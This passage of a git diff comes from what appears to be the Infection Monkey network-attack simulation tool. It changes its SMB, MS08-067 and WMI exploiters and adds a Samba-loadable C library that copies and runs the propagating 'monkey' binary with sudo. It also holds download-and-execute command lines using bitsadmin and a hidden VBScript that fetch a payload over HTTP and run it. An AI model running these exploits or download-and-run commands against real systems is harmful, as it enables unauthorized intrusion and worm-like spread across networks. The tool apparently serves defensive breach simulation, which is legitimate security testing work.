packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS
|
||||||
|
|
||||||
|
smb2Create = SMB2Create()
|
||||||
|
smb2Create['SecurityFlags'] = 0
|
||||||
|
smb2Create['RequestedOplockLevel'] = oplockLevel
|
||||||
|
smb2Create['ImpersonationLevel'] = impersonationLevel
|
||||||
|
smb2Create['DesiredAccess'] = desiredAccess
|
||||||
|
smb2Create['FileAttributes'] = fileAttributes
|
||||||
|
smb2Create['ShareAccess'] = shareMode
|
||||||
|
smb2Create['CreateDisposition'] = creationDisposition
|
||||||
|
smb2Create['CreateOptions'] = creationOptions
|
||||||
|
|
||||||
|
smb2Create['NameLength'] = len(fileName) * 2
|
||||||
|
if fileName != '':
|
||||||
|
smb2Create['Buffer'] = fileName.encode('utf-16le')
|
||||||
|
else:
|
||||||
|
smb2Create['Buffer'] = '\x00'
|
||||||
|
|
||||||
|
if createContexts is not None:
|
||||||
|
smb2Create['Buffer'] += createContexts
|
||||||
|
smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength']
|
||||||
|
smb2Create['CreateContextsLength'] = len(createContexts)
|
||||||
|
else:
|
||||||
|
smb2Create['CreateContextsOffset'] = 0
|
||||||
|
smb2Create['CreateContextsLength'] = 0
|
||||||
|
|
||||||
|
packet['Data'] = smb2Create
|
||||||
|
|
||||||
|
packetID = smb_client.getSMBServer().sendSMB(packet)
|
||||||
|
ans = smb_client.getSMBServer().recvSMB(packetID)
|
||||||
|
if ans.isValidAnswer(STATUS_SUCCESS):
|
||||||
|
createResponse = SMB2Create_Response(ans['Data'])
|
||||||
|
|
||||||
|
# The client MUST generate a handle for the Open, and it MUST
|
||||||
|
# return success and the generated handle to the calling application.
|
||||||
|
# In our case, str(FileID)
|
||||||
|
return str(createResponse['FileID'])
|
||||||
|
|
||||||
|
def open_pipe(self, smb_client, pathName):
|
||||||
|
# We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style
|
||||||
|
# to make things easier for the caller. Not this time ;)
|
||||||
|
treeId = smb_client.connectTree('IPC$')
|
||||||
|
LOG.debug('Triggering path: %s' % pathName)
|
||||||
|
|
||||||
|
if smb_client.getDialect() == SMB_DIALECT:
|
||||||
|
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||||
|
|
||||||
|
pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName
|
||||||
|
|
||||||
|
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
|
||||||
|
ntCreate['Parameters'] = SMBNtCreateAndX_Parameters()
|
||||||
|
ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2)
|
||||||
|
ntCreate['Parameters']['FileNameLength'] = len(pathName)
|
||||||
|
ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA
|
||||||
|
ntCreate['Parameters']['FileAttributes'] = 0
|
||||||
|
ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ
|
||||||
|
ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE
|
||||||
|
ntCreate['Parameters']['CreateOptions'] = FILE_OPEN
|
||||||
|
ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION
|
||||||
|
ntCreate['Parameters']['SecurityFlags'] = 0
|
||||||
|
ntCreate['Parameters']['CreateFlags'] = 0x16
|
||||||
|
ntCreate['Data']['FileName'] = pathName
|
||||||
|
|
||||||
|
if flags2 & SMB.FLAGS2_UNICODE:
|
||||||
|
ntCreate['Data']['Pad'] = 0x0
|
||||||
|
|
||||||
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
|
else:
|
||||||
|
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
||||||
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
|
@ -1,7 +1,7 @@
|
||||||
import sys
|
import sys
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from model.host import VictimHost
|
from model.host import VictimHost
|
||||||
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
|
from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from network.tools import check_port_tcp
|
from network.tools import check_port_tcp
|
||||||
from exploit.tools import SmbTools, get_target_monkey
|
from exploit.tools import SmbTools, get_target_monkey
|
||||||
|
@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path}
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
|
||||||
|
|
||||||
cmdline += build_monkey_commandline(host, depth - 1)
|
cmdline += build_monkey_commandline(host, depth - 1)
|
||||||
|
|
||||||
|
|
|
@ -443,26 +443,46 @@ def get_target_monkey(host):
|
||||||
return monkey_path
|
return monkey_path
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline(target_host, depth):
|
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
from config import WormConfiguration, GUID
|
from control import ControlClient
|
||||||
|
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||||
|
|
||||||
|
|
||||||
|
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||||
cmdline = ""
|
cmdline = ""
|
||||||
cmdline += " -p " + GUID
|
|
||||||
|
|
||||||
if target_host.default_tunnel:
|
if parent is not None:
|
||||||
cmdline += " -t " + target_host.default_tunnel
|
cmdline += " -p " + parent
|
||||||
if target_host.default_server:
|
if tunnel is not None:
|
||||||
cmdline += " -s " + target_host.default_server
|
cmdline += " -t " + tunnel
|
||||||
|
if server is not None:
|
||||||
|
cmdline += " -s " + server
|
||||||
|
if depth is not None:
|
||||||
if depth < 0:
|
if depth < 0:
|
||||||
depth = 0
|
depth = 0
|
||||||
|
|
||||||
cmdline += " -d %d" % depth
|
cmdline += " -d %d" % depth
|
||||||
|
if location is not None:
|
||||||
|
cmdline += " -l %s" % location
|
||||||
|
|
||||||
return cmdline
|
return cmdline
|
||||||
|
|
||||||
|
|
||||||
|
def build_monkey_commandline(target_host, depth, location=None):
|
||||||
|
from config import GUID
|
||||||
|
return build_monkey_commandline_explicitly(
|
||||||
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||||
|
|
||||||
|
|
||||||
def report_failed_login(exploiter, machine, user, password):
|
def report_failed_login(exploiter, machine, user, password):
|
||||||
from control import ControlClient
|
from control import ControlClient
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
||||||
'exploiter': exploiter.__class__.__name__,
|
'exploiter': exploiter.__class__.__name__,
|
||||||
'user': user, 'password': password})
|
'user': user, 'password': password})
|
||||||
|
|
||||||
|
|
||||||
|
def get_binaries_dir_path():
|
||||||
|
if getattr(sys, 'frozen', False):
|
||||||
|
return sys._MEIPASS
|
||||||
|
else:
|
||||||
|
return os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
|
|
@ -12,7 +12,7 @@ import socket
|
||||||
from enum import IntEnum
|
from enum import IntEnum
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from model.host import VictimHost
|
from model.host import VictimHost
|
||||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
from . import HostExploiter
|
from . import HostExploiter
|
||||||
from exploit.tools import SmbTools, get_target_monkey
|
from exploit.tools import SmbTools, get_target_monkey
|
||||||
from network.tools import check_port_tcp
|
from network.tools import check_port_tcp
|
||||||
|
@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
|
||||||
|
|
||||||
cmdline += build_monkey_commandline(host, depth - 1)
|
cmdline += build_monkey_commandline(host, depth - 1)
|
||||||
|
|
||||||
|
|
|
@ -3,7 +3,7 @@ import ntpath
|
||||||
import logging
|
import logging
|
||||||
import traceback
|
import traceback
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline
|
||||||
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
from model.host import VictimHost
|
from model.host import VictimHost
|
||||||
from exploit import HostExploiter
|
from exploit import HostExploiter
|
||||||
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
|
from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login
|
||||||
|
@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter):
|
||||||
return False
|
return False
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path}
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path}
|
||||||
|
|
||||||
cmdline += build_monkey_commandline(host, depth - 1)
|
cmdline += build_monkey_commandline(host, depth - 1)
|
||||||
|
|
||||||
|
|
|
@ -4,10 +4,12 @@ __author__ = 'itamar'
|
||||||
|
|
||||||
MONKEY_ARG = "m0nk3y"
|
MONKEY_ARG = "m0nk3y"
|
||||||
DROPPER_ARG = "dr0pp3r"
|
DROPPER_ARG = "dr0pp3r"
|
||||||
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, )
|
||||||
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
|
||||||
|
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
|
||||||
|
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
|
||||||
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
|
||||||
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
|
||||||
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
|
||||||
|
|
|
@ -7,13 +7,17 @@ a = Analysis(['main.py'],
|
||||||
pathex=['.'],
|
pathex=['.'],
|
||||||
binaries=None,
|
binaries=None,
|
||||||
datas=None,
|
datas=None,
|
||||||
hiddenimports=['_cffi_backend','grequests'],
|
hiddenimports=['_cffi_backend'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None,
|
runtime_hooks=None,
|
||||||
excludes=None,
|
excludes=None,
|
||||||
win_no_prefer_redirects=None,
|
win_no_prefer_redirects=None,
|
||||||
win_private_assemblies=None,
|
win_private_assemblies=None,
|
||||||
cipher=block_cipher)
|
cipher=block_cipher)
|
||||||
|
|
||||||
|
a.binaries += [('sc_monkey_runner32.so', './bin/sc_monkey_runner32.so', 'BINARY')]
|
||||||
|
a.binaries += [('sc_monkey_runner64.so', './bin/sc_monkey_runner64.so', 'BINARY')]
|
||||||
|
|
||||||
pyz = PYZ(a.pure, a.zipped_data,
|
pyz = PYZ(a.pure, a.zipped_data,
|
||||||
cipher=block_cipher)
|
cipher=block_cipher)
|
||||||
exe = EXE(pyz,
|
exe = EXE(pyz,
|
||||||
|
|
|
@ -3,10 +3,14 @@ import os
|
||||||
import platform
|
import platform
|
||||||
a = Analysis(['main.py'],
|
a = Analysis(['main.py'],
|
||||||
pathex=['.'],
|
pathex=['.'],
|
||||||
hiddenimports=['_cffi_backend', 'queue','grequests'],
|
hiddenimports=['_cffi_backend', 'queue'],
|
||||||
hookspath=None,
|
hookspath=None,
|
||||||
runtime_hooks=None)
|
runtime_hooks=None)
|
||||||
|
|
||||||
|
|
||||||
|
a.binaries += [('sc_monkey_runner32.so', '.\\bin\\sc_monkey_runner32.so', 'BINARY')]
|
||||||
|
a.binaries += [('sc_monkey_runner64.so', '.\\bin\\sc_monkey_runner64.so', 'BINARY')]
|
||||||
|
|
||||||
if platform.system().find("Windows")>= 0:
|
if platform.system().find("Windows")>= 0:
|
||||||
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
a.datas = [i for i in a.datas if i[0].find('Include') < 0]
|
||||||
if platform.architecture()[0] == "32bit":
|
if platform.architecture()[0] == "32bit":
|
||||||
|
|
|
@ -0,0 +1,3 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
gcc -c -Wall -Werror -fpic sc_monkey_runner.c
|
||||||
|
gcc -shared -o sc_monkey_runner.so sc_monkey_runner.o
|
|
@ -0,0 +1,160 @@
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "sc_monkey_runner.h"
|
||||||
|
|
||||||
|
#ifdef __x86_64__
|
||||||
|
#define ARCH_IS_64
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _____LP64_____
|
||||||
|
#define ARCH_IS_64
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define LINE_MAX_LENGTH (2048)
|
||||||
|
#define MAX_PARAMETERS (30)
|
||||||
|
|
||||||
|
int samba_init_module(void)
|
||||||
|
{
|
||||||
|
#ifdef ARCH_IS_64
|
||||||
|
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||||
|
const char MONKEY_NAME[] = "monkey64";
|
||||||
|
const char MONKEY_COPY_NAME[] = "monkey64_2";
|
||||||
|
#else
|
||||||
|
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
||||||
|
const char MONKEY_NAME[] = "monkey32";
|
||||||
|
const char MONKEY_COPY_NAME[] = "monkey32_2";
|
||||||
|
#endif
|
||||||
|
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||||
|
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||||
|
const int ACCESS_MODE = 0777;
|
||||||
|
const char RUN_MONKEY_CMD[] = "sudo ./";
|
||||||
|
|
||||||
|
int found = 0;
|
||||||
|
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||||
|
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||||
|
char* monkeyDirectory = NULL;
|
||||||
|
char* fileNamePointer = NULL;
|
||||||
|
FILE * pFile = NULL;
|
||||||
|
pid_t pid = 0;
|
||||||
|
int monkeySize = 0;
|
||||||
|
void* monkeyBinary = NULL;
|
||||||
|
struct stat fileStats;
|
||||||
|
|
||||||
|
pid = fork();
|
||||||
|
|
||||||
|
if (0 != pid)
|
||||||
|
{
|
||||||
|
// error or this is parent - nothing to do but return.
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Find fullpath of running module.
|
||||||
|
pFile = fopen("/proc/self/maps", "r");
|
||||||
|
if (NULL == pFile)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
||||||
|
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
||||||
|
if (fileNamePointer != NULL) {
|
||||||
|
found = 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fclose(pFile);
|
||||||
|
|
||||||
|
// We can't find ourselves in module list
|
||||||
|
if (0 == found)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
monkeyDirectory = strchr(modulePathLine, '/');
|
||||||
|
*fileNamePointer = '\0';
|
||||||
|
|
||||||
|
if (0 != chdir(monkeyDirectory))
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Write file to indicate we're running
|
||||||
|
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||||
|
if (NULL == pFile)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||||
|
fclose(pFile);
|
||||||
|
|
||||||
|
// Read commandline
|
||||||
|
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||||
|
if (NULL == pFile)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build commandline
|
||||||
|
strncat(commandline, RUN_MONKEY_CMD, sizeof(RUN_MONKEY_CMD) - 1);
|
||||||
|
strncat(commandline, MONKEY_COPY_NAME, sizeof(MONKEY_COPY_NAME) - 1);
|
||||||
|
strncat(commandline, " ", 1);
|
||||||
|
|
||||||
|
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||||
|
fclose(pFile);
|
||||||
|
|
||||||
|
if (0 != stat(MONKEY_NAME, &fileStats))
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
monkeySize = (int)fileStats.st_size;
|
||||||
|
|
||||||
|
// Copy monkey to new file so we'll own it.
|
||||||
|
pFile = fopen(MONKEY_NAME, "rb");
|
||||||
|
|
||||||
|
if (NULL == pFile)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
monkeyBinary = malloc(monkeySize);
|
||||||
|
|
||||||
|
if (NULL == monkeyBinary)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
fread(monkeyBinary, 1, monkeySize, pFile);
|
||||||
|
fclose(pFile);
|
||||||
|
|
||||||
|
pFile = fopen(MONKEY_COPY_NAME, "wb");
|
||||||
|
if (NULL == pFile)
|
||||||
|
{
|
||||||
|
free(monkeyBinary);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
fwrite(monkeyBinary, 1, monkeySize, pFile);
|
||||||
|
fclose(pFile);
|
||||||
|
free(monkeyBinary);
|
||||||
|
|
||||||
|
// Change monkey permissions
|
||||||
|
if (0 != chmod(MONKEY_COPY_NAME, ACCESS_MODE))
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
system(commandline);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int init_samba_module(void)
|
||||||
|
{
|
||||||
|
return samba_init_module();
|
||||||
|
}
|
|
@ -0,0 +1,7 @@
|
||||||
|
#ifndef monkey_runner_h__
|
||||||
|
#define monkey_runner_h__
|
||||||
|
|
||||||
|
extern int samba_init_module(void);
|
||||||
|
extern int init_samba_module(void);
|
||||||
|
|
||||||
|
#endif // monkey_runner_h__
|
|
@ -20,7 +20,7 @@ MONKEY_DOWNLOADS = [
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
'type': 'linux',
|
'type': 'linux',
|
||||||
'filename': 'monkey-linux-32',
|
'filename': 'monkey-linux-64',
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
'type': 'windows',
|
'type': 'windows',
|
||||||
|
|
Loading…
Reference in New Issue